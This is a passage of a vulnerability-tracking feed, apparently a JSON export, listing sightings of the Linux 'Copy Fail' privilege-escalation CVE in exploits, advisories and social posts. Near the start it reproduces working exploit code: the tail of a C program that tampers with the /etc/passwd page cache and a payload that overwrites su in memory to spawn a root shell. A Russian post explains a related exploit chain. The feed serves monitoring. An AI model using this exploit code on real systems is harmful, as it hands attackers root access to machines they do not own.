(patch_chunk(fd, uid_offset + off, chunk) < 0) {\n            fprintf(stderr, \"[-] page-cache mutation failed at offset %lld\\n\",\n                    (long long)(uid_offset + off));\n            close(fd); return 1;\n        }\n    }\n\n    close(fd);\n\n    fprintf(stderr,\n            \"[+] /etc/passwd page cache mutated; %s's UID is now %s\\n\",\n            pw->pw_name, padded);\n    fprintf(stderr,\n            \"[+] attempting cashout via `su %s`\\n\", pw->pw_name);\n    fprintf(stderr,\n            \"[!] If su fails with \\\"Cannot determine your user name\\\"\\n\"\n            \"    (shadow-utils' caller-identity check), the page cache\\n\"\n            \"    mutation is still active. Pivot to another cashout\\n\"\n            \"    that consults /etc/passwd.\\n\");\n    fprintf(stderr,\n            \"[+] cleanup after testing (run as root):\\n\"\n            \"    echo 3 > /proc/sys/vm/drop_caches\\n\\n\");\n\n    execlp(\"su\", \"su\", pw->pw_name, (char *)NULL);\n    perror(\"execlp(su)\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:53.000000Z"}, {"uuid": "65efbe6d-61fa-48d2-8e56-b2c261050a2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/01d9eed1d55745f89a77a3cbee9144c9", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail (CVE-2026-31431) -- payload.\n *\n * Cross-platform C payload by Tony Gies .\n *\n * Cross-platform shellcode, built against the kernel's nolibc/ tiny libc.\n * payload.c is plain portable C; the per-arch syscall asm lives in\n * nolibc/arch-*.h. Supported architectures (per nolibc upstream): x86_64,\n * i386, arm, aarch64, riscv32/64, mips, ppc, s390x, loongarch, m68k, sh,\n * sparc.\n *\n * nolibc doesn't ship setuid/setgid wrappers, so we use its variadic\n * syscall() macro (nolibc/sys/syscall.h) with __NR_* constants from the\n * toolchain's . Still no embedded asm in this file.\n *\n * Runtime story: the dropper writes these bytes over the head of\n * /usr/bin/su's page-cache pages. su's on-disk inode keeps its setuid-\n * root bit, so on execve() the kernel grants effective uid 0 and then\n * loads *these* bytes from the cache as the program. main() converts\n * the ephemeral suid grant into a full root identity, then execs /bin/sh.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#include \"nolibc/nolibc.h\"\n\n/* nolibc doesn't ship setuid/setgid wrappers (the kernel selftests it's\n * designed for don't need them). It does ship a portable variadic\n * syscall() macro (see nolibc/sys/syscall.h) and an execve(). The\n * __NR_* constants come from the toolchain's . */\n\nint main(void) {\n    char *argv[] = { \"sh\", (char *)NULL };\n    char *envp[] = { (char *)NULL };\n    syscall(__NR_setgid, 0);\n    syscall(__NR_setuid, 0);\n    execve(\"/bin/sh\", argv, envp);\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:21:57.000000Z"}, {"uuid": "aef80f67-0e53-4b34-bf53-75885348b67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/87353", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zs1n\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-05 01:06:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for Copy-Fail Vulnerability - Python3 Version\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-05T01:07:13.000000Z"}, {"uuid": "56478d6d-f0df-4e77-985a-90d1f9f88bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stefketels.vrk.social/post/3mnkibm5dxcn3", "content": "Ik draai al te lang mee om mee spelen in religieuze OS-oorlogen, maar dat laatste statement vind ik zeer ver gaan. Ik neem aan dat u het over CVE-2026-31431 (\"Copy Fail\") heeft?  Er was een mainline fix negen dagen na het rapport en 28 dagen voor de afgesproken public disclosure.  /1", "creation_timestamp": "2026-06-05T15:46:12.346690Z"}, {"uuid": "918e2870-5e1d-45ca-876a-34ec3976e654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/2GKVzEdq0Q1GgXdde3R68qhjmtmEcsIfO4W2udc5u2OvA5M", "content": "", "creation_timestamp": "2026-06-05T09:00:04.000000Z"}, {"uuid": "2daaee5a-0b45-4266-8636-7e0e08a2f1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/5KTwmA96Kj45TkZqBYLm7RQJ-3Dt3Yk-Ro8oNdfED5lawJI", "content": "", "creation_timestamp": "2026-06-03T15:00:06.000000Z"}, {"uuid": "c8bf0da1-5044-4f2e-9ef5-97ec5161b759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mnwtezhcgk2l", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-06-10T13:37:05.397741Z"}, {"uuid": "3bbbf547-8156-4898-98a1-f74ced4caaa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/code/cves/2026/CVE-2026-31431.yaml", "content": "", "creation_timestamp": "2026-06-17T08:40:02.000000Z"}, {"uuid": "10af4d89-371a-4137-954d-51b93dfdf148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mol6zxqsu62b", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-06-18T15:58:42.085017Z"}, {"uuid": "359f69e7-2074-4d17-9c17-0b5c431efb98", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5c10fbc1-4e1e-4932-9c3d-0d7b89f299bc", "content": "", "creation_timestamp": "2026-06-19T12:45:12.464591Z"}, {"uuid": "fa5c6ca6-b39a-42aa-a89d-5c6817606ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/papoo7.bsky.social/post/3morycehkvu2r", "content": "Podman\u306erootless\u30b3\u30f3\u30c6\u30ca\u306f\u3069\u3053\u307e\u3067\u5b89\u5168\u304b\uff1aCopy Fail\u8106\u5f31\u6027\u304b\u3089\u898b\u3048\u308b\u73fe\u5b9f\n\n- Copy Fail\uff08CVE-2026-31431\uff09\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u306e\u672a\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u596a\u3048\u308b\u8106\u5f31\u6027\u3068\u3057\u3066\u516c\u958b\u3055\u308c\u305f - Podman\u306erootle\u2026\n\n#Claude #AI #ClaudeCode", "creation_timestamp": "2026-06-21T08:46:43.187543Z"}, {"uuid": "7d396b9a-ed85-44af-a5aa-ee801b189cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/devopsstart.com/post/3motmts7ay52l", "content": "Mitigate the Copy Fail (CVE-2026-31431) vulnerability in Linux kernels. Learn how to implement seccomp profiles for Kubernetes to prevent local privilege escalation. #Cve202631431 #SeccompKubernetes", "creation_timestamp": "2026-06-22T00:27:05.726232Z"}, {"uuid": "007bd13c-19fe-477a-a6d3-6648dcbd67e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mowutuias5b2", "content": "Fixing CVE-2026-31431 (\u201cCopy Fail\u201d) Across Linux Distributions Overview CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation vulnerability in the Linux kernel, published on 29 A...\n\n#Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-23T07:28:17.400384Z"}, {"uuid": "b6dc384e-c88b-4031-b8e7-11dfb3d4ceda", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ee629f79-23a1-4997-8997-a78af606c659", "content": "", "creation_timestamp": "2026-06-23T14:03:38.529166Z"}, {"uuid": "d042a6d3-36eb-4e21-8b4d-6c4c856273c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-174-06", "content": "", "creation_timestamp": "2026-06-23T05:00:00.000000Z"}, {"uuid": "fab19f1c-3c94-4730-a982-1bebef7280d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3moyoporvpg23", "content": "Surviving the Surge of New Linux LPE: Defense in Depth Is Not Dead +\u00a0Video\n\nIntroduction: The Linux kernel has been under siege in 2026. A relentless wave of high-profile local privilege escalation (LPE) vulnerabilities\u2014Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500),\u2026", "creation_timestamp": "2026-06-24T00:43:51.605418Z"}, {"uuid": "510caf3e-2c1f-4051-989b-facdbc37b6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplpbykeuc2h", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 \u0432 \u044f\u0434\u0440\u0435 Linux: \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0438 \u043a\u0430\u043a \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\n\n\n\nhttps://kripta.biz/posts/E0EFFE72-F90A-4379-B73B-94E015F258EA", "creation_timestamp": "2026-07-01T14:14:41.971225Z"}, {"uuid": "5a4d5d1c-ef12-4b1e-b75f-8f92ad25f28c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnbtcljea2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 \u0432 \u044f\u0434\u0440\u0435 Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BA8EEDCA-B7EA-4551-A360-EDAD787A26FA", "creation_timestamp": "2026-07-02T05:19:08.358406Z"}, {"uuid": "b8bdd637-db5a-4e40-b3a2-957d77cdc2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T06:56:53.891197Z"}, {"uuid": "6937c4f7-75b7-4e3a-a5e3-5b1a7e334a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/formatocd.bsky.social/post/3mpslyqdjf22y", "content": "A principios de abril de 2026, la comunidad de ciberseguridad se vio sacudida por el descubrimiento de una de las vulnerabilidades m\u00e1s preocupantes de los \u00faltimos a\u00f1os para el ecosistema Linux: el CVE-2026-31431, popularmente bautizado como \"Copy Fail\". formatocd.es/2026/07/04/c...", "creation_timestamp": "2026-07-04T08:04:27.667687Z"}, {"uuid": "095faeac-a0be-4887-813a-a9b2eb27518b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:19.400237Z"}, {"uuid": "730ffb25-5a60-45db-b08f-a74ed3fe6e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bsidescbr.bsky.social/post/3mqb2iprtes2h", "content": "One of 2026's biggest Linux security stories comes to BSides Canberra.\n\n\"Viral Vulnerabilities\" unpacks Copy Fail (CVE-2026-31431), Dirty Frag, Fragnesia and what they reveal about modern Linux kernel exploitation.\n\ncfp.bsidescbr.com.au/bsides-canbe...", "creation_timestamp": "2026-07-10T02:01:14.308174Z"}, {"uuid": "76dc0476-2a45-4221-9ca8-c7c0ab2444e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mqhhdqlumk2b", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El exploit de 732 bytes que otorga acceso Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-07-12T15:07:04.199073Z"}, {"uuid": "97ca62b1-3cbe-4201-b546-58fb5fcdb54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8349", "content": "DirtyClone\u00a0- \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux \u0438\u0437 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u00a0DirtyFrag, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 25 \u0438\u044e\u043d\u044f JFrog  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC - \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\n\nCVE-2026-43503 (CVSS 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443 21 \u043c\u0430\u044f.\n\n\u041a\u043e\u0433\u0434\u0430 \u044f\u0434\u0440\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f, \u0434\u0432\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442 \u0444\u043b\u0430\u0433 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430 \u043a\u0430\u043a \u043e\u0431\u0449\u0443\u044e \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043b\u0430\u0433\u0430 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /usr/bin/su, \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u044f\u0434\u0440\u043e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.\n\n\u041e\u043d \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c IPsec, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0430 \u044d\u0442\u0430\u043f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0431\u0430\u0439\u0442\u0430\u043c\u0438, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b su \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 root.\n\n\u0424\u0430\u0439\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043a\u043e\u043f\u0438\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0435\u0439\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0433\u043e \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442, \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0443\u0434\u0438\u0442\u0430, \u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f CAP_NET_ADMIN \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u044f IPsec \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 Debian \u0438 Fedora \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n\u0412 Ubuntu 24.04 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u0447\u0435\u0440\u0435\u0437 AppArmor \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430. \u041a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0445\u043e\u0441\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CI, \u0445\u043e\u0441\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b Kubernetes, \u0433\u0434\u0435 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\nJFrog 